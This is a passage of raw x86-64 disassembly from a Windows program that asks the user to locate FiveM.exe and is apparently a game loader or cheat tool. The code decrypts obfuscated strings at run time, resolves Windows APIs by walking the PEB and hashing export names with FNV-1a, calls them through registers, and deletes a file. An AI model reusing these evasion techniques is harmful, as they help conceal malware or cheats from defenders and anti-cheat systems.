movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
mov qword [rbp + 0x3d0], rax
mov dword [rbp + 0x340], 0x98
lea rax, str.FiveM.exe
mov qword [rbp + 0x358], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r15
lea rax, [rbp + 0x9c0]
mov qword [rbp + 0x370], rax
mov dword [rbp + 0x378], 0x104
lea rax, [0x1400e76ec]
mov qword [rbp + 0x390], rax
lea rax, [rbp + 0x8b0]
mov qword [rbp + 0x380], rax
mov dword [rbp + 0x388], 0x104
lea rax, str.Please_specify_FiveM.exe
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x3a8], r15
mov dword [rbp + 0x3a0], 0x1004
lea rcx, [rbp + 0x500]
call fcn.1400127a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.1400127a0
nop
movzx edx, byte [rbp]
lea rcx, [rbp + 0x4c0]
call fcn.140005dd0
lea rcx, [rbp + 0x4c0]
call fcn.140005df0
nop
movabs rsi, 0x7fed8dfc576dfc26
mov qword [rbp + 0x2d0], rsi
movabs rdi, 0xfdfb4b508ad94b34
mov qword [rbp + 0x2d8], rdi
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x790], rax
mov qword [rbp + 0x798], rbx
movdqa xmm0, xmmword [rbp + 0x790]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x400], rax
xor r8d, r8d
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x408]
call fcn.14001a1b0
nop
lea rcx, [rbp + 0x408]
call fcn.140003fc0
movzx ebx, al
lea rcx, [rbp + 0x408]
call fcn.140003690
test bl, bl
je 0x14000d8cc
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
movabs rax, 0x5185f99d4f45a715
mov qword [rbp + 0x130], rax
movabs rax, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x138], rax
movabs rbx, 0x5185f99d2731c665
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], rax
movdqa xmm0, xmmword [rbp + 0x6f0]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x130]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000d7f0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea rax, [rbp + 0x790]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x250], rsi
mov qword [rbp + 0x258], rdi
mov qword [rbp + 0x780], rbx
movabs rdi, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x788], rdi
movdqa xmm0, xmmword [rbp + 0x780]
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x790]
call fcn.140005dd0
nop
lea rax, [rbp + 0x250]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000d874
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x790]
call fcn.140015a50
nop
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0xb8]
call fcn.140004e60
mov rdx, rax
lea rcx, [rbp + 0x4c0]
call fcn.140012860
lea rcx, [rbp + 0xb8]
call fcn.140012800
jmp 0x14000de07
mov r10, qword [0x140103470]
test r10, r10
jne 0x14000d99b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d977
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d977
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d972
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d950
cmp edx, 0x23a979e4
je 0x14000f349
test r8d, r8d
jne 0x14000d930
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d991
cmp qword [rax + 0x30], 0
jne 0x14000d900
mov r10, r15
mov qword [0x140103470], r10
movsd xmm0, qword [str.X__ZNRSS_]
movsd qword [rbp + 0x6f0], xmm0
movzx eax, word [0x1400ed6a0]
mov word [rbp + 0x6f8], ax
movups xmm0, xmmword [str.eZRYJ_eOM___c35h]
movups xmm1, xmmword [0x1400e8ae0]
movzx eax, word [0x1400e8af0]
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm1
mov word [rbp + 0xd8], ax
cmp byte [0x1400ed6a1], 0
je 0x14000da32
mov byte [rbp + 0x6f0], Ordinal_79
xor byte [rbp + 0x6f1], 0x36
xor byte [rbp + 0x6f2], 0x37
xor byte [rbp + 0x6f3], 0x38
xor byte [rbp + 0x6f4], 0x39
xor byte [rbp + 0x6f5], 0x3a
xor byte [rbp + 0x6f6], 0x3b
xor byte [rbp + 0x6f7], 0x3c
xor byte [rbp + 0x6f8], 0x3d
xor byte [rbp + 0x6f9], 0x3e
mov r8d, r15d
cmp r12d, 2
jl 0x14000db8c
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0xbc]
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000da81
cmp r8d, 0x22
jge 0x14000dbd3
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000dba0
xor r9d, r9d
lea r8, [rbp + 0x6f0]
lea rdx, [rbp + 0xb8]
xor ecx, ecx
call r10
lea rcx, [rbp + 0x340]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x500]
call fcn.140015360
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x500]
call fcn.1400035e0
mov rdx, rax
lea rcx, [rbp + 0x5c0]
call fcn.140012700
lea rcx, [rbp + 0xb8]
call fcn.140003690
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x5c0]
call fcn.140014f40
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x4c0]
call fcn.140012860
lea rcx, [rbp + 0x408]
call fcn.140012800
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
xor r8d, r8d
lea rdx, [0x1400e76e9]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea rax, [rbp + 0x790]
mov qword [rbp + 0x120], rax
movzx edx, byte [rbp]
lea rcx, [rbp + 0x790]
call fcn.140005dd0
nop
xor r8d, r8d
lea rdx, [0x1400e76e9]
lea rcx, [rbp + 0x790]
call fcn.140015a50
nop
lea rax, [rbp + 0x820]
mov qword [rbp + 0x1e8], rax
lea rcx, [rbp + 0x4c0]
call fcn.1400127c0
mov rbx, rax
movzx edx, byte [rbp]
lea rcx, [rbp + 0x820]
call fcn.140005dd0
nop
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000dd10
mov rdx, rbx
lea rcx, [rbp + 0x820]
call fcn.140015a50
nop
lea rax, [rbp + 0x800]
mov qword [rbp + 0x6f0], rax
movabs rax, 0x5185f99d4f45a715
mov qword [rbp + 0x130], rax
movabs rdi, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x138], rdi
movabs rbx, 0x5185f99d2731c665
mov qword [rbp + 0x780], rbx
mov qword [rbp + 0x788], rdi
movdqa xmm0, xmmword [rbp + 0x780]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x800]
call fcn.140005dd0
nop
lea rax, [rbp + 0x130]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000dda4
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x800]
call fcn.140015a50
nop
lea rdx, [0x1401020d0]
lea rcx, [rbp + 0xb8]
call fcn.140012960
nop
lea rcx, [rbp + 0x3e0]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x790]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
lea r8, [rbp + 0x820]
lea rdx, [rbp + 0x800]
mov rcx, rax
call fcn.1400056e0
movabs rax, 0x34abb4f851588039
mov qword [rbp + 0x2e0], rax
movabs rax, 0xfdfb4b50e4b65d26
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x850], rbx
mov qword [rbp + 0x858], rdi
movdqa xmm0, xmmword [rbp + 0x850]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x2e0], xmm0
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x540]
call fcn.140014de0
nop
xor r8d, r8d
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x408]
call fcn.140015110
nop
lea rcx, [rbp + 0x408]
call fcn.140003fc0
movzx ebx, al
lea rcx, [rbp + 0x408]
call fcn.140003690
test bl, bl
jne 0x14000e3e5
mov r10, qword [0x140103470]
test r10, r10
jne 0x14000df6b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000df47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000df47
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000df42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000df20
cmp edx, 0x23a979e4
je 0x14000f366
test r8d, r8d
jne 0x14000df00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000df61
cmp qword [rax + 0x30], 0
jne 0x14000ded0
mov r10, r15
mov qword [0x140103470], r10
movsd xmm0, qword [str.bDXV]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x1400ed658]
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x1400ed65c]
mov word [rbp + 0x1dc], ax
cmp byte [0x1400ed65d], 0
je 0x14000e113
mov r8d, r15d
cmp r12d, 2
jl 0x14000e0cd
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_35
movd xmm5, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bDXV]
xorps xmm2, xmm0
movd dword [rbp + 0x1d0], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1d4]
xorps xmm2, xmm1
movd dword [rbp + 0x1d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1d0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000e0e0
mov eax, dword [0x1400eda78]
mov dword [rbp + 0x3f8], eax
movzx eax, word [0x1400eda7c]
movups xmm0, xmmword [str.gSD_M]
mov word [rbp + 0x3fc], ax
movups xmmword [rbp + 0x3e0], xmm0
movzx eax, byte [0x1400eda7e]
movsd xmm0, qword [0x1400eda70]
mov byte [rbp + 0x3fe], al
movsd qword [rbp + 0x3f0], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x14000e2bb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3e4]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000e1b0
cmp r8d, 0x1f
jge 0x14000e303
movsxd rax, r8d
lea r9, [rbp + 0x3e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14000e2d0
xor r9d, r9d
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call r10
mov rax, qword [0x140103468]
test rax, rax
jne 0x14000e3d7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e3b7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e3b7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e3b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e390
cmp edx, 0xcded1a85
je 0x14000f383
test r8d, r8d
jne 0x14000e370
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e3cd
cmp qword [rax + 0x30], 0
jne 0x14000e340
mov rax, r15
mov qword [0x140103468], rax
xor ecx, ecx
call rax
movabs rdi, 0xfdfb4b50e4b6385e
movabs rax, 0x38e297d846448a39
mov qword [rbp + 0x240], rax
movabs rax, 0xfdfb273c80985d30
mov qword [rbp + 0x248], rax
movabs rbx, 0x5185f99d2731c665
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], rdi
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea rcx, [rbp + 0xb8]
call fcn.1400040d0
nop
lea r8, [rbp + 0x9b]
lea rdx, [rbp + 0x408]
mov rcx, rax
call fcn.140014f40
nop
lea rax, [rbp + 0x240]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000e464
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x408]
call fcn.1400141c0
mov rdx, rax
lea rcx, [rbp + 0x5a0]
call fcn.1400128f0
nop
lea rcx, [rbp + 0x408]
call fcn.140012800
nop
lea rcx, [rbp + 0xb8]
call fcn.140003690
lea rcx, [rbp + 0x5a0]
call fcn.1400127c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
movsd xmm0, qword [0x1400ed788]
movsd qword [rbp + 0x30], xmm0
movzx eax, word [0x1400ed790]
mov word [rbp + 0x38], ax
cmp byte [0x1400ed791], 0
je 0x14000e516
mov byte [rbp + 0x30], 0x46
xor byte [rbp + 0x31], 0x36
xor byte [rbp + 0x32], 0x37
xor byte [rbp + 0x33], 0x38
xor byte [rbp + 0x34], 0x39
xor byte [rbp + 0x35], 0x3a
xor byte [rbp + 0x36], 0x3b
xor byte [rbp + 0x37], 0x3c
xor byte [rbp + 0x38], 0x3d
xor byte [rbp + 0x39], 0x3e
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x30]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000e530
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea rcx, [rbp + 0x3e0]
call fcn.140005e80
mov ecx, eax
call fcn.140006020
test eax, eax
je 0x14000e605
lea rax, [rbp + 0x430]
mov qword [rbp + 0xa8], rax
movsd xmm0, qword [0x1400ed788]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x1400ed790]
mov word [rbp + 0x48], ax
cmp byte [0x1400ed791], 0
je 0x14000e5bd
mov byte [rbp + 0x40], 0x46
xor byte [rbp + 0x41], 0x36
xor byte [rbp + 0x42], 0x37
xor byte [rbp + 0x43], 0x38
xor byte [rbp + 0x44], 0x39
xor byte [rbp + 0x45], 0x3a
xor byte [rbp + 0x46], 0x3b
xor byte [rbp + 0x47], 0x3c
xor byte [rbp + 0x48], 0x3d
xor byte [rbp + 0x49], 0x3e
movzx edx, byte [rbp]
lea rcx, [rbp + 0x430]
call fcn.140005dd0
nop
lea rax, [rbp + 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000e5d5
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x430]
call fcn.140015a50
nop
lea rcx, [rbp + 0x430]
call fcn.140005e80
mov ecx, eax
xor edx, edx
call fcn.140006070
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x710], rax
lea rax, [rbp + 0x430]
mov qword [rbp + 0xa8], rax
movabs rax, 0x5185caa41007f057
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdi
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], rdi
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x230], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x430]
call fcn.140005dd0
nop
lea rax, [rbp + 0x230]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000e680
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x430]
call fcn.140015a50
nop
lea r8, [rbp + 0x430]
lea rdx, [rbp + 0x700]
lea rcx, [0x140103610]
call fcn.1400786b0
nop
cmp byte [0x140103820], 0
jne 0x14000ea9f
mov r10, qword [0x140103470]
test r10, r10
jne 0x14000e787
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e767
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e767
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e762
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e740
cmp edx, 0x23a979e4
je 0x14000f39f
test r8d, r8d
jne 0x14000e720
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e77d
cmp qword [rax + 0x30], 0
jne 0x14000e6f0
mov r10, r15
mov qword [0x140103470], r10
movsd xmm0, qword [str.X__ZNRSS_]
movsd qword [rbp + 0x58], xmm0
movzx eax, word [0x1400ed6a0]
mov word [rbp + 0x60], ax
movups xmm0, xmmword [str.pDEWK]
movzx eax, word [0x1400edb38]
movups xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f8], ax
movsd xmm0, qword [0x1400edb30]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movsd qword [rbp + 0x3f0], xmm0
mov byte [rbp + 0x3fa], al
cmp byte [0x1400ed6a1], 0
je 0x14000e809
mov byte [rbp + 0x58], 0x49
xor byte [rbp + 0x59], 0x36
xor byte [rbp + 0x5a], 0x37
xor byte [rbp + 0x5b], 0x38
xor byte [rbp + 0x5c], 0x39
xor byte [rbp + 0x5d], 0x3a
xor byte [rbp + 0x5e], 0x3b
xor byte [rbp + 0x5f], 0x3c
xor byte [rbp + 0x60], 0x3d
xor byte [rbp + 0x61], 0x3e
mov r8d, r15d
cmp r12d, 2
jl 0x14000e96b
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3e4]
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000e860
cmp r8d, 0x1b
jge 0x14000e9b3
movsxd rax, r8d
lea r9, [rbp + 0x3e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14000e980
xor r9d, r9d
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call r10
mov rax, qword [0x140103468]
test rax, rax
jne 0x14000ea87
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
